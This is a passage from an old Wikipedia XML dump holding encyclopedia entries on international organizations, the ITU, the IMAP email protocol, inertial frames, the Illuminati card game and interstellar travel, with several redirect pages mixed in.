[[sv:Folkrätten]]</text>
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  </page>
  <page>
    <title>International organization</title>
    <id>14832</id>
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      <id>42118288</id>
      <timestamp>2006-03-03T23:08:43Z</timestamp>
      <contributor>
        <ip>71.109.89.215</ip>
      </contributor>
      <comment>/* Global organizations */</comment>
      <text xml:space="preserve">:''For the political science journal, see: [[International Organization]]''

An '''international organization''' is an [[organization]] of international scope or character. There are two main types of international organizations: 
*international [[intergovernmental]] organizations (IGOs), whose members are [[sovereign states]] or other intergovernmental organizations (like the [[European Union]] and the [[WTO]]).
* and [[non-governmental organization]]s (NGOs), which are private organizations.

Generally and correctly used, the term international organization is used to mean international governmental organizations only. It is in this sense that the term is used in the remainder of this article.

==Legal nature==
Legally speaking, an international organization must be established by a [[treaty]] providing it with [[legal entity|legal recognition]]. International organizations so established are [[subject of international law|subjects of international law]], capable of entering into agreements among themselves or with states. Thus international organizations in a legal sense are distinguished from mere groupings of states, such as the [[G-8]] and the [[G-77]], neither of which have been founded by treaty, though in non-legal contexts these are sometimes referred to as international organizations as well.

International organizations must also be distinguished from treaties; while all international organizations are founded on a treaty, many treaties (e.g., the [[North American Free Trade Agreement]] (NAFTA)) do not establish an international organization and rely purely on the parties for their administration.

==Membership and function==

International organizations differ in function, membership and membership criteria. Membership of some organizations ([[global organization]]s) is open to all the nations of [[Earth|the world]]. This category includes the [[United Nations]] and its specialized agencies and the [[World Trade Organization]]. Other organizations are only open to members from a particular [[subregion|region]] or [[continent]] of the world, like [[European Union]], [[African Union]], [[ASEAN]] and so on.

Finally, some organizations base their membership on other criteria: '''cultural or historical links''' (the [[Commonwealth of Nations]], [[La Francophonie]], the [[Community of Portuguese Language Countries]]), level of '''economic''' development or type of economy ([[Organisation for Economic Co-operation and Development]] (OECD), [[OPEC|Organization of Petroleum-Exporting Countries]] (OPEC)), or '''religion''' ([[Organization of the Islamic Conference]]).

Were it to come about, the ultimate international organization would be a [[Federal World Government]].

In the [[nineteenth century]], [[France]] was the ''fons et origo'' of many international organizations: This means that much of the driving force to form such bodies (such as those which maintain the [[SI]] (metric system)) came from the French, and that their headquarters is in France, often in [[Paris]]. Under the [[French Third Republic|Third Republic]], the [[Exposition Universelle (1878)|International Exposition of 1878]] in that city held a great number of meetings of such international organizations - as opposed to the preceding regimes. The motivation was that to keep France a republic and not slip back into either a monarchist or [[Bonapartism|Bonapartist]] regime, the republicans would underscore their inheritance of the crusading nature of the [[French Revolution]] against feudal cultural remnants within France, which had been generalized to the rest of feudal Europe, eventually to the world. Some conclude from this example that internationalism often has national origins, at the difference of [[globalism]].

The [[Union of International Associations]] provides information on international organizations.

==Examples of organizations==

===Global organizations===

*[[United Nations]], its specialized agencies, and associated organizations
*[[INTERPOL]]
*[[International Hydrographic Organization]]
*[[World Trade Organization]]
*[[Universal Postal Union]]

===Regional organizations===

[[Image:Continental Orgs Map.png|450px|right|thumb|Organizations bringing together almost all the countries in their respective continents. [[Russia]] is member of both the [[Council of Europe]] and the [[Asian Cooperation Dialogue]].]]

[[Image:Regional Organizations Map.png|450px|right|thumb|Map of several smaller regional organizations with non-overlapping memberships.]]

'''Europe''': 
*[[European Union]] (EU)
*[[Council of Europe]]
*[[European Free Trade Association]] (EFTA)
*[[European Space Agency]] (ESA)
*[[European Patent Organisation]]

'''Asia''': 
*[[Asian Cooperation Dialogue]] (ACD) 
*[[Association of Southeast Asian Nations]] (ASEAN) 
*[[South Asian Association for Regional Cooperation]] (SAARC) 
*[[Gulf Cooperation Council]]

'''Eurasia''': 
*[[Commonwealth of Independent States]] (CIS)
*[[Shanghai Cooperation Organization]] (SCO)
*[[Eurasian Economic Community]]
*[[Central Asian Cooperation Organization]]
*[[GUAM]]

'''Africa''': 
*[[African Union]] 
*[[Conseil de l'Entente]] 
*[[Economic Community of West African States]] (ECOWAS)
*[[Southern African Development Community]] (SADC) 
*[[Intergovernmental Authority on Development]] (IGAD)
*[[Arab Maghreb Union]]

'''Western Hemisphere''': 
*[[Organization of American States]] (OAS)
*[[South American Community of Nations]] 
*[[Mercosur]] 
*[[Andean Community]] 
*[[Caribbean Community]] (CARICOM) 
*[[Organisation of Eastern Caribbean States]] (OECS) 
*[[Central American Parliament]] 
*[[Rio Group]] 
*[[NAFTA]]

'''Trans-atlantic''': 
*[[North Atlantic Treaty Organisation]] (NATO) 
*[[Organization for Security and Co-operation in Europe]] (OSCE)

'''Pacific''': 
*[[Asia-Pacific Economic Cooperation]] (APEC) 
*[[Pacific Islands Forum]] 
*[[Secretariat of the Pacific Community]]

===Organizations with various membership criteria===
[[Image:Postempire Orgs Map.png|450px|right|thumb|International organizations that largely represent the independent states formed after the breakup of an empire. [[La Francophonie]] has overlapping membership with all three of the other organizations shown in the map.]]

*[[Organisation for Economic Co-operation and Development]] (OECD)
*[[OPEC|Organization of Petroleum-Exporting Countries]] (OPEC)
*[[Commonwealth of Nations]]
*[[La Francophonie]]
*[[Comunidade dos países de língua portuguesa]] (CPLP)
*[[Organization of Ibero-American States]] (OEI) 
*[[Unión Latina]] 
*[[Non-Aligned Movement]]
*[[Arab League]]
*[[Organization of the Islamic Conference]]

===Financial international organizations===
* [[Bank for International Settlements]]
* [[International Monetary Fund]] (IMF)
* [[World Bank Group]]

==See also== 
* [[List of organizations]]
* [[List of international organizations]]
* [[Supranational union]], [[Supranationalism]]
* [[World government]]
* [[Intergovernmentalism]]
* [[International decoration]]
* [[Environmental organizations]]
* [[Trade bloc]]
* [[Organizations with .INT domain names]]
* [[List of international trade topics]]

[[Category:International organizations|*]]
[[Category:International relations]]
[[Category:Lists of organizations]]
[[Category:International trade]]

[[de:Internationale Organisation]]
[[eo:Internacia organiza&amp;#309;o]]
[[fr:Organisation internationale]]
[[he:ארגון בינלאומי]]
[[it:Organizzazione internazionale]]
[[ja:&amp;#22269;&amp;#38555;&amp;#27231;&amp;#38306;]]
[[pl:Organizacja mi&amp;#281;dzynarodowa]]
[[pt:Organização internacional]]
[[ru:&amp;#1052;&amp;#1077;&amp;#1078;&amp;#1075;&amp;#1086;&amp;#1089;&amp;#1091;&amp;#1076;&amp;#1072;&amp;#1088;&amp;#1089;&amp;#1090;&amp;#1074;&amp;#1077;&amp;#1085;&amp;#1085;&amp;#1099;&amp;#1077; &amp;#1086;&amp;#1073;&amp;#1098;&amp;#1077;&amp;#1076;&amp;#1080;&amp;#1085;&amp;#1077;&amp;#1085;&amp;#1080;&amp;#1103;]]
[[uk:&amp;#1052;&amp;#1110;&amp;#1078;&amp;#1085;&amp;#1072;&amp;#1088;&amp;#1086;&amp;#1076;&amp;#1085;&amp;#1110; &amp;#1086;&amp;#1088;&amp;#1075;&amp;#1072;&amp;#1085;&amp;#1110;&amp;#1079;&amp;#1072;&amp;#1094;&amp;#1110;&amp;#1111;]]
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    <title>International Telecomunications Union</title>
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      <comment>fix double redir</comment>
      <text xml:space="preserve">#REDIRECT [[International Telecommunication Union]]</text>
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  <page>
    <title>International Telecommunications Union</title>
    <id>14834</id>
    <revision>
      <id>15912366</id>
      <timestamp>2003-10-16T03:00:19Z</timestamp>
      <contributor>
        <ip>213.48.145.26</ip>
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      <text xml:space="preserve">#REDIRECT [[International Telecommunication Union]]</text>
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  <page>
    <title>International Telecomunication Union</title>
    <id>14835</id>
    <revision>
      <id>15912367</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <ip>Conversion script</ip>
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      <minor />
      <comment>Automated conversion</comment>
      <text xml:space="preserve">#REDIRECT [[International Telecommunication Union]]
</text>
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  </page>
  <page>
    <title>International Telecommunication Union</title>
    <id>14836</id>
    <revision>
      <id>40415556</id>
      <timestamp>2006-02-20T10:52:29Z</timestamp>
      <contributor>
        <username>Thomas Blomberg</username>
        <id>407237</id>
      </contributor>
      <text xml:space="preserve">{{redirect|ITU}}
[[Image:Flag of ITU.svg|right|300px|Flag of the ITU]]
[[Image:ITU monument, Bern.jpg|thumb|300px|Monument in [[Bern]], [[Switzerland]]. The text reads: &quot;Union Télégraphique Internationale fondée à Paris en 1865 sur l'initiative du gouvernement français. Érigé par décision de l'Union Télégraphique prise à la conférence internationale de Lisbonne en 1908.&quot; (In English: &quot;International Telegraph Union founded at Paris in 1865 on the initiative of the French government. [This monument] erected by a decision of the Telegraph Union made at the international conference at Lisbon in 1908.&quot;)]]

The '''International Telecommunication Union''' (ITU) is an [[international organization]] established to standardize and regulate international radio and [[telecommunication]]s. It was founded as the ''International Telegraph Union'' in [[Paris]] in [[May 17]], [[1865]], and is today the world's oldest international organization. Its main tasks include [[standardization]], allocation of the [[radio]] spectrum, and organizing interconnection arrangements between different countries to allow international phone calls. (In which regard it performs for telecommunications a similar function to what the [[UPU]] performs for postal services.) It is one of the [[specialized agencies]] of the [[United Nations]], and has its headquarters in Geneva, Switzerland, next to the main United Nations campus.

The [[international standard]]s that are produced by the ITU are referred to as &quot;''Recommendations''&quot; (with the word ordinarily capitalized to distinguish its meaning from the ordinary sense of the word &quot;recommendation&quot;). Due to its longevity as an international organization and its status as a specialized agency of the United Nations, standards promulgated by the ITU carry a higher degree of formal international recognition than those of most other organizations that publish technical specifications of a similar form.

The work of the ITU is conducted by its ''members''.  As part of the United Nations structure, a country can be a member, in which case it is referred to as a ''Member State''.  Companies and other such organizations can hold other classes of membership referred to as ''Sector Member'' or ''Associate'' status. Sector and Associate memberships enable direct participation by a company in the development of standards (something not allowed in some other standards bodies such as [[International Organization for Standardization|ISO]], where formal ballots are processed by a single entity per country and companies participate only indirectly through national delegations).  Various parts of the ITU also maintaion ''liaison relationships'' with other organizations.

See also [[ITU-T]] Telecommunications Sector, [[ITU-R]] Radiocommunications Sector, and [[ITU-D]] Development Sector.

==Meetings==
The ITU decides matters between states and private organizations through an extensive series of working parties, study groups, regional meetings, and world meetings. 

===Examples===
*[[World Radiocommunications Conference]] (WRC)
*[[World Administrative Radio Conference]]s (WARC)
*[[Regional Radiocommunications Conference]]s (RRC)

==World Summit on the Information Society==
The ITU is serving as the secretariat of the [[World Summit on the Information Society]] (WSIS).

==See also==
*[[Working Group on Internet Governance]] (WGIG)
*[[:Category:ITU-T recommendations|ITU-T Recommendations]]

==External links==
*[http://www.itu.int/ ITU official site]
*[http://www.itu.int/aboutitu/overview/history.html ITU history from the official site]
*[http://www.freewebs.com/telecomm Telecom Resources]
*[http://www.egeneva.ch/ Geneva Telecom 2009 Host City Support Committee Site]
*[http://www.washingtonpost.com/ac2/wp-dyn/A36852-2003Dec4?language=printer ''U.N. Summit to Focus on Internet''] - [[Washington Post]] article about [[ICANN]] and the United Nations' ITU relationship

[[Category: wireless communications]]
[[Category:United Nations specialized agencies]]
[[Category:Standards organizations]]
[[Category:Internet governance]]
[[Category:1865 establishments]]

[[ca:Unió Internacional de Telecomunicacions]]
[[da:International Telecommunication Union]]
[[de:Internationale Fernmeldeunion]]
[[es:Unión Internacional de Telecomunicaciones]]
[[fr:Union internationale des télécommunications]]
[[nl:International Telecommunication Union]]
[[ja:国際電気通信連合]]
[[pl:ITU]]
[[ru:Международный союз электросвязи]]
[[sl:Mednarodna telekomunikacijska zveza]]
[[fi:Kansainvälinen televiestintäliitto]]
[[sv:ITU]]
[[vi:Liên Minh Viễn Thông Quốc Tế]]
[[zh:国际电信联盟]]</text>
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  </page>
  <page>
    <title>Internet Message Access Protocol</title>
    <id>14837</id>
    <revision>
      <id>42106489</id>
      <timestamp>2006-03-03T21:43:06Z</timestamp>
      <contributor>
        <username>Thoric</username>
        <id>128594</id>
      </contributor>
      <comment>minor re-arrangement, and added small disadvantages section</comment>
      <text xml:space="preserve">{{IPstack}}
&lt;!-- Edit the stack image at: Template:IPstack --&gt;
The '''Internet Message Access Protocol''' (commonly known as '''IMAP''', and previously called '''Interactive Mail Access Protocol''') is an [[application layer]] [[Internet]] protocol used for accessing [[e-mail]] on a remote [[mail server|server]] from a local [[e-mail client|client]].  IMAP and POP3 ([[Post Office Protocol]] version 3) are the two most prevalent [[Internet standard]] protocols for e-mail retrieval.  Both are supported by virtually all modern e-mail clients and servers, although in some cases in addition to vendor-specific, typically proprietary, interfaces.  For example, while proprietary protocols are typically used between [[Microsoft]]'s [[Microsoft Outlook|Outlook]] client and an [[Microsoft Exchange Server|Exchange]] server and between [[IBM]]'s [[Lotus Notes|Notes]] client and a [[Lotus Notes|Domino]] server, all of these products also support IMAP and POP3 allowing interoperability with other servers and clients.  The current version of IMAP, IMAP version 4 revision 1 (IMAP4rev1), is defined by '''RFC 3501'''.

IMAP was designed by [[Mark Crispin]] in [[1986]] [http://www.imap.org/about/history.status.html] as a modern alternative to the widely used POP e-mail retrieval protocol.
Fundamentally, both of these protocols allow an e-mail client to access messages stored on an e-mail server.

Whether using POP3 or IMAP4 to retrieve messages, clients use the [[SMTP]] protocol to send messages.  E-mail clients are sometimes referred to as either ''POP'' or ''IMAP'' clients, but in both cases SMTP is also used.

Most e-mail programs also use [[Lightweight Directory Access Protocol|LDAP]] for directory services.

IMAP is often used in large networks; for example, a college campus mail system. IMAP allows users to access new messages instantly on their computers, since the mail is stored on the network. With POP3, users have to either '''download''' the e-mail to their computer or access it via the web. Both ways take longer than IMAP, and you have to either download any new mail or &quot;''refresh''&quot; the page to see the new messages.

Unlike many older Internet protocols, IMAP4 natively supports encrypted login mechanisms.  Plain text transmission of passwords in IMAP4 is also possible.  Because the encryption mechanism to be used must be agreed between the server and client, plain text passwords are used in some combinations of clients and servers (typically [[Microsoft Windows]] clients and non-Windows servers).  It is also possible to encrypt IMAP4 traffic using [[Transport Layer Security|SSL]], either by tunneling IMAP4 communications over SSL on port 993, or by issuing &quot;STARTTLS&quot; within an established IMAP4 session.

IMAP4 works over a [[Internet protocol suite|TCP/IP]] connection using network [[port (computing)|port]] 143.

==Advantages over POP3==

* Support for both ''connected'' and ''disconnected'' modes of operation
:When using POP3, clients typically connect to the e-mail server very briefly, only as long as it takes to download any new messages.  When using IMAP4, clients often stay connected as long as the user interface is active and download message content on demand.  For users with many or large messages, this IMAP4 usage pattern can result in much faster response times.
* Support for multiple clients simultaneously connected to the same mailbox
:The POP3 protocol assumes the currently connected client is the only client connected to the mailbox.  In contrast, the IMAP4 protocol specifically allows simultaneous access by multiple clients and provides mechanisms for clients to detect changes made to the mailbox by other, concurrently connected, clients.
* Support for access to [[MIME]] parts of messages and partial fetch
:Nearly all internet e-mail is transmitted in MIME format.  MIME allows messages to have a [[tree structure]] where the leaf nodes are any of a variety of ''single part'' content types and the non-leaf nodes are any of a variety of ''multipart'' types.  The IMAP4 protocol allows clients to separately retrieve any of the individual MIME parts and also to retrieve portions of either individual parts or the entire message.  These mechanisms allow clients to retrieve the text portion of a message without retrieving attached files or to [[streaming media|stream]] content as it is being fetched.  
* Support for message state information to be kept on the server
:Through the use of ''flags'' defined in the IMAP4 protocol clients can keep track of message state, for example whether or not the message has been read, replied to, or deleted.  These ''flags'' are stored on the server, so multiple clients accessing the same mailbox at different times can detect state changes made by other clients.
* Support for access to multiple mailboxes on the server
:IMAP4 clients can create, rename, and/or delete mailboxes (usually presented to the user as folders) on the server, and move messages between mailboxes.  Multiple mailbox support also allows servers to provide access to shared and public folders.
* Support for server-side searches
:IMAP4 provides a mechanism for a client to ask the server to search for messages meeting a variety of criteria.  This mechanism avoids requiring clients to download every message in the mailbox in order to perform these searches.
* Support for a well defined extension mechanism
:Reflecting the experience of earlier Internet protocols, IMAP defines an explicit mechanism by which it may be extended.  Many [[IMAP4 extension|extension]]s to the base protocol have been proposed and are in common use.


==Disadvantages of IMAP==

* IMAP is a very heavy and complicated protocol.  Writing your own custom implementation of an IMAP server is of at least 20 orders of magnitude more complicated than a POP3 implementation.  Client implementations are also much more complicated.

* Due to its complexity and exhaustive feature set, it is more subject to security flaws and generation of high server load.

* Most IMAP implementations result in the modification and/or addition of header fields within the message bodies resulting in the rewriting of the mailbox file.  A POP3 server accessing a mailbox so modified by IMAP could deem those modified messages as new (due to a differing UIDL calculation which is often performed on the entire message body, headers included) and result in clients re-retrieving previously downloaded messages.

==Common implementations==
The following IMAP-[[server]]s are common:

*[[Binc IMAP]] - uses [[Maildir]] format, designed to be familiar for users of [[qmail]] and qmail-pop3d [http://www.bincimap.org/]
*[[Citadel/UX|Citadel]]
*[[Courier IMAP]] - uses [[Maildir]] format.
*[[Cyrus IMAP server]] - uses a format similar to [[Maildir]] or [[MH Message Handling System|MH]].
*[[Dovecot (software)|Dovecot]] - Secure IMAP server
*[[FirstClass | FirstClass Server]] - FirstClass Server [http://www.firstclass.com/]
*[[IBM Lotus Domino]] Server
*[[Mac OS X Server]]
*[[Merak Mail Server]]
*[[Mercury/32]] - Mercury/32 [http://www.pmail.com/overviews/ovw_mercury.htm]
*[[Microsoft Exchange Server]]
*[[Mirapoint]] [http://www.mirapoint.com/]
*[[Stalker Communigate Pro]] [http://www.stalker.com/CommuniGatePro/]
*[[UW IMAP]] - supports multiple formats including [[mbox]], mbx, [[MMDF]], tenex, mtx, [[MH Message Handling System|MH]], mx, and [[Usenet]] news spools.
*[[Zimbra]] [http://www.zimbra.com/]



The following IMAP-[[client]]s are common (see also [[List_of_e-mail_clients|List of mail clients]]):

[[Command line interface|text-based]] clients:
*[[Pine (e-mail client)|UW PINE]] - One of the first IMAP clients
*[[Mutt (e-mail client)|Mutt]] - e-mail client found in many [[Linux]] distributions
[[Graphical user interface|GUI]] clients:
*[[Novell Evolution]]
*[[KMail]]
*[[Microsoft Outlook Express]]
*[[Microsoft Outlook]]
*[[Mozilla Thunderbird]] - A cross-platform and increasingly popular mail client. 
*[[Mail.app|Mac OS X Mail]]



The following Web-based email services support IMAP access

*[[AIM]] [http://www.aim.com/aim_mail.adp]


== See also ==
*[[E-mail client]]
*[[Internet Mail 2000]], an alternative proposal for mail
*[[Post Office Protocol]]
*[[Simple Mail Transfer Protocol]]
*[[webmail]]
*[[List of mail servers]]
*[[Comparison of mail servers]]
*Johnson, Kevin. 2000. Internet E-mail Protocols: A Developer's Guide. Addison-Wesley. ISBN 0-201-43288-9.

== External links ==
* RFC 3501 ([http://www.faqs.org/rfcs/rfc3501.html HTML version]) - specification of IMAP version 4 revision 1
* [http://www.imap.org/ The IMAP connection] - resources for developers of programs using the IMAP protocol.
* [http://www.imap.org/products/ IMAP connection's listing of products and service providers supporting IMAP]

[[Category:E-mail]]
[[Category:Internet protocols]]
[[Category:Internet standards]]

[[bg:IMAP]]
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[[de:Internet Message Access Protocol]]
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    </revision>
  </page>
  <page>
    <title>Inertial frame of reference</title>
    <id>14838</id>
    <revision>
      <id>40004361</id>
      <timestamp>2006-02-17T12:41:00Z</timestamp>
      <contributor>
        <username>Unfinishedchaos</username>
        <id>294794</id>
      </contributor>
      <text xml:space="preserve">An '''inertial frame''' is  a [[coordinate system]] defined by the non-accelerated motion of objects with a common direction and speed (as opposed to a [[non-inertial reference frame]]).

==Introduction==
 
In [[physics]], an object has '''inertial motion''' if no external forces are being applied to it, famously stated as [[Newton's first law of motion]]. When such an object’s state of motion is extrapolated over a region of space to take in all other possible objects in the region with the same state of motion, and these are used to define a common [[coordinate system]], this system is referred to as a '''frame'''.

==Use of inertial frames==
Inertial frames of reference are relevant to [[Newtonian relativity]] and [[Albert Einstein|Einstein]]'s [[special relativity|special theory of relativity]].  

* Under '''[[Newtonian physics|Newtonian mechanics]]''', all inertial states of motion are considered to be equivalent: if two inertial observers, '''&quot;A&quot;''' and '''&quot;B&quot;''' have a relative velocity, then the laws of physics should be the same regardless of whether we take '''&quot;A&quot;''' as our “stationary” reference and say that '''&quot;B&quot;''' is moving, or if we take '''&quot;B&quot;''' as our fixed reference and say that '''&quot;A&quot;''' is moving.  Included in these rules of physics is the explicit assumption that time progresses at the same rate for all observers, meaning that clocks  calibrated in one inertial coordinate system will not become uncalibrated due to one of them being moved into another inertial frame of reference.

* '''Under special relativity''', this equivalence of different inertial states of motion still applies.  However, the assumption of constant progression of [[proper time]] in all frames of reference is replaced by the assumption that the [[speed of light]] is constant, and that this is equally true for every inertial observer.  This required the use of a set of protocols, originally discussed by [[Henri Poincaré]] (1900) in relation to [[Hendrik Lorentz]]'s local time and used, apparently independently, by Einstein ([[Einstein synchronisation]], [[relativity of simultaneity]]). This protocol allows observers to define apparent distances and times according to the assumption of fixed light speed in their own frame, and then build an extended coordinate system for labeling the times and distances of distant events. Observers using different reference frames will derive different nominal distance and time separations between the same two events. The formulas for converting, or &quot;[[Lorentz transformation|transforming]]&quot; values between different frames of reference allow each observer to calculate how the physics taking place appears for another observer. As seen from different points of view the nominal distance and time separation between two events differs, but the combined [[spacetime interval]] is unchanged: it is &quot;frame-independent&quot;, or &quot;[[invariant (physics)|invariant]]&quot;.

==Transformations==
The way that nominal distances and times are converted from one coordinate system to another is referred to as a [[Transformation (mathematics)|transformation]].

In classical mechanics the [[kinetic energy]] of a system depends on the inertial frame of reference. It is lowest with respect to the [[center of mass]], i.e., in a frame of reference in which the center of mass is stationary. In another frame of reference the additional kinetic energy is that corresponding to the total mass and the speed of the center of mass.

Einstein argued that if we only assume that light propagates at ''c'' in a single [[preferred frame]] (i.e., if we assume an absolute fixed aether, [[classical theory and special relativity|classical theory]]), transformation of space and time coordinates is performed using [[Galilean transformation]]s, whereas with special relativity we obtain [[Lorentz transformation]]s, which only coincide with the earlier results for relative velocities that are reasonably small in comparison with the speed of light.

==Einstein’s general theory of relativity==
Einstein’s [[general relativity|general theory]] modifies the distinction between nominally &quot;inertial&quot; and &quot;noninertial&quot; effects, by replacing special relativity's &quot;flat&quot;, [[Euclidean]] geometry with a curved [[non-Euclidean geometry|non-Euclidean]] metric.  In general relativity, the principle of inertia is replaced with the principle of [[geodesic (general relativity)|geodesic motion]], whereby objects move in a way dictated by the curvature of spacetime.  As a consequence of this curvature, it is not a given in general relativity that inertial objects moving at a given rate with respect to each other will continue to do so.  This phenomenon of [[geodesic deviation]] means that inertial frames of reference do not exist globally as they do in Newtonian mechanics and special relativity.

However, the general theory reduces to the special theory over sufficiently small regions of spacetime, where curvature effects become less important and the earlier inertial frame arguments can come back into play. Consequently, modern SR is now sometimes described as only a “local theory”. (However, this refers to the theory’s application rather than to its derivation.)

==External links==
* [http://plato.stanford.edu/entries/spacetime-iframes/ Stanford Encyclopedia of Philosophy entry]

==References==
* Edwin F. Taylor and John Archibald Wheeler, '''Spacetime Physics 2nd ed.''' (Freeman, NY, 1992)
* Albert Einstein, '''Relativity, the special and the general theories, 15th ed.''' (1954)
* Poincaré, H. (1900) &quot;La theorie de Lorentz et la Principe de Reaction&quot;, ''Archives Neerlandaises'', '''V''', 253-78. 

[[Category:Astrodynamics]]
[[Category:Classical mechanics]]
[[Category:Relativity]]
[[Category:Frames of reference]]

{{relativity-stub}}

[[ar:إطار مرجعي عطالي]]
[[ca:Sistema inercial]]
[[da:Inertialsystem]]
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[[es:Sistema inercial]]
[[fr:Référentiel galiléen]]
[[hr:Inercijski referentni okvir]]
[[it:Sistema di riferimento inerziale]]
[[ko:관성계]]
[[nl:Inertiaalstelsel]]
[[pl:Układ inercjalny]]
[[pt:Referencial inercial]]
[[ru:Инерциальная система отсчёта]]
[[sl:Inercialni opazovalni sistem]]</text>
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  </page>
  <page>
    <title>Irix</title>
    <id>14839</id>
    <revision>
      <id>15912371</id>
      <timestamp>2003-08-20T11:43:19Z</timestamp>
      <contributor>
        <username>Magnus.de</username>
        <id>14063</id>
      </contributor>
      <minor />
      <comment>#REDIRECT[[IRIX]]</comment>
      <text xml:space="preserve">#REDIRECT[[IRIX]]</text>
    </revision>
  </page>
  <page>
    <title>Illuminati: New World Order</title>
    <id>14840</id>
    <revision>
      <id>41805586</id>
      <timestamp>2006-03-01T21:43:54Z</timestamp>
      <contributor>
        <username>Alan McBeth</username>
        <id>478773</id>
      </contributor>
      <minor />
      <comment>direct link</comment>
      <text xml:space="preserve">{{wikify}}
'''Illuminati: New World Order''' (INWO) is a [[collectible card game]] (CCG) that was released in 1995 by [[Steve Jackson Games]], based on their original boxed game [[Illuminati (game)|Illuminati]], which in turn was inspired by ''[[The Illuminatus! Trilogy]]''.  INWO won the [[Origins Award]] for ''Best Card Game'' in the 1997.

Cards come in several types, including Illuminati, Plots, Groups, Places, Personalities, Resources, and [[New World Order]] cards. The various cards are printed with two different colored backs and are collectively referred to as simply &quot;Groups&quot; and &quot;Plots&quot;. The premise is that you play one of the Illuminati groups (the [[Bavarian Illuminati]], the [[Unidentified flying object|UFO]]s, the [[Gnomes of Zürich]], etc.) bent on world domination. You seek to control a predetermined number of Groups (such as the [[Scouting|Boy Scouts]], the [[Men in Black]], the [[CIA]], etc.) and/or complete a Plot to achieve your goal before your opponent(s).

INWO is more difficult to learn than most CCGs, but it is infused with much more humor, in common with other Steve Jackson games. As with most CCGs, deck building, aggressive play, and sheer luck are key to winning, but intrigue, negotiation, deal-making, and deviousness are often more important elements. This gives INWO the flavor more of a &quot;friendly&quot; game of [[Monopoly game|Monopoly]] than of a [[role-playing game]].

INWO was released as a 412-card main set in double [[starter deck]]s (suitable for two players) and sealed packs, in both black-bordered limited and white-bordered unlimited editions. There was also a boxed set called variously &quot;The Factory Set&quot; and &quot;One With Everything&quot; which contained one of each card from the main set of the black-bordered limited edition, multiples of the Illuminati cards, and a few cards previously only available in magazines. One 125-card expansion of sealed packs has been released, called &quot;Assassins&quot;, as well as a complete-in-one-box 100-card expansion called &quot;INWO [[Church of the SubGenius|SubGenius]]&quot;. SubGenius can also be played as a stand-alone game.

There are common, uncommon, and rare cards in the main set and in Assassins; Assassins also included 10 &quot;ultra-rare&quot; cards. All cards in SubGenius have the same rarity. Packs of blank cards are also sold for those who wish to make up their own cards, an activity that has proven so popular that online collections of homebrew INWO cards now list thousands of cards. ''The INWO Book'', by Steve Jackson, is the official guidebook to the game.

== External links ==
* Official INWO site (includes rules): http://www.sjgames.com/inwo/
* INWO Concordance (explains WHY the cards are in the game): http://www.speakeasy.org/~sbrinich/inwoconc.html

[[Category:Collectible card games]]
[[Category:Origins award winners]]</text>
    </revision>
  </page>
  <page>
    <title>Integration</title>
    <id>14841</id>
    <revision>
      <id>41753897</id>
      <timestamp>2006-03-01T14:29:35Z</timestamp>
      <contributor>
        <username>Gflores</username>
        <id>153556</id>
      </contributor>
      <comment>cleanup</comment>
      <text xml:space="preserve">{{Wiktionarypar|integration}}

'''Integration''' is a process of combining or accumulating.

'''Integration''' may be any of the following:

*Integration, in the most general sense, may be any bringing together of things: the integration of two or more economies, cultures, religions (usually called [[syncretism]]), etc.
*[[integral|Integration]], in mathematics, a concept of calculus, is the process of finding integrals
*[[Antiderivative|Indefinite integration]], in mathematics, referes to antidifferentiation
*[[Racial integration]], refers to social and cultural behavior; in a legal sense, see [[desegregation]]
*[[Digital integration]], in computer science, allows data from one device or software to be read or manipulated by another, resulting in ease of use; see also [[XML]]
*[[Horizontal integration]] and [[vertical integration]], in microeconomics and strategic management,  refer to a style of ownership and control
*[[Enterprise application integration]], as the use of software and computer systems to bring together a set of enterprise computer applications
*[[Integration clause]], in a contract, a term used to declare the contract the final and complete understanding of the parties

==See also==

*'''[[Integral (disambiguation)]]'''

{{disambig}}

[[de:Integration]]
[[fr:Intégration]]
[[he:אינטגרציה]]
[[lt:Integravimas]]
[[nl:Integratie]]
[[ja:インテグレーション]]
[[pl:Integracja]]
[[ru:Интеграция]]</text>
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  </page>
  <page>
    <title>Industrial and manufacturing engineering</title>
    <id>14842</id>
    <revision>
      <id>18763544</id>
      <timestamp>2005-07-13T19:36:07Z</timestamp>
      <contributor>
        <ip>66.49.123.51</ip>
      </contributor>
      <text xml:space="preserve">#REDIRECT [[Industrial_engineering]]</text>
    </revision>
  </page>
  <page>
    <title>Interstellar travel</title>
    <id>14843</id>
    <revision>
      <id>41600324</id>
      <timestamp>2006-02-28T12:13:49Z</timestamp>
      <contributor>
        <username>T. Wong</username>
        <id>997130</id>
      </contributor>
      <minor />
      <comment>/* Sub-light-speed travel */</comment>
      <text xml:space="preserve">'''Interstellar space travel''' is unmanned or manned [[travel]] between [[star]]s, though the term usually denotes the latter. The concept of interstellar travel in [[starship]]s is a staple in [[science fiction]]. There is a tremendous difference between interstellar travel and [[interplanetary travel]], mainly due to the much larger distances involved.

As a practical goal interstellar travel has been debated fiercely by various scientists, science fiction authors, hobbyists and enthusiasts.

Many scientific papers have been published about related concepts. Given sufficient travel time and engineering work, unmanned interstellar travel seems possible. [[NASA]] has been engaging in research into these topics for several years, and has accumulated a number of theoretical approaches.

==The difficulty of interstellar travel==
Interstellar travel poses a number of difficulties.  There are all the
difficulties of [[interplanetary travel]], including hard [[vacuum]], [[Ionizing radiation|radiation]], [[micrometeoroid]]s, and [[free-fall]].  These difficulties seem tractable; robot missions have been sent to almost every [[planet]] in the [[Solar system]], humans have been sent to the [[Moon]], and manned missions to [[Mars (planet)|Mars]] have been planned for years. Interstellar travel is made enormously more difficult by the million-fold greater distances to nearby stars. [[Intergalactic travel]] would involve distances a million-fold greater than interstellar distances.

===Interstellar distances===
Astronomical distances are sometimes measured in the amount of time it would take a beam of [[light]] to travel between two points. Light in a vacuum travels in approximately 3&amp;times;10&lt;sup&gt;8&lt;/sup&gt; metres per second, which is denoted with the letter '''c''', so a light second is approximately 3&amp;times;10&lt;sup&gt;8&lt;/sup&gt; metres.

The distance between Earth and its Moon is about one and a quarter light seconds. With current propulsion technologies, such a trip will typically take about three days for a spacecraft. 

The distance from Earth to other planets in the solar system ranges from three light minutes to about five and a half light hours. Depending on the planet and its alignment to Earth, for a typical unmanned spacecraft these trips will take from a few months to a little over a decade.

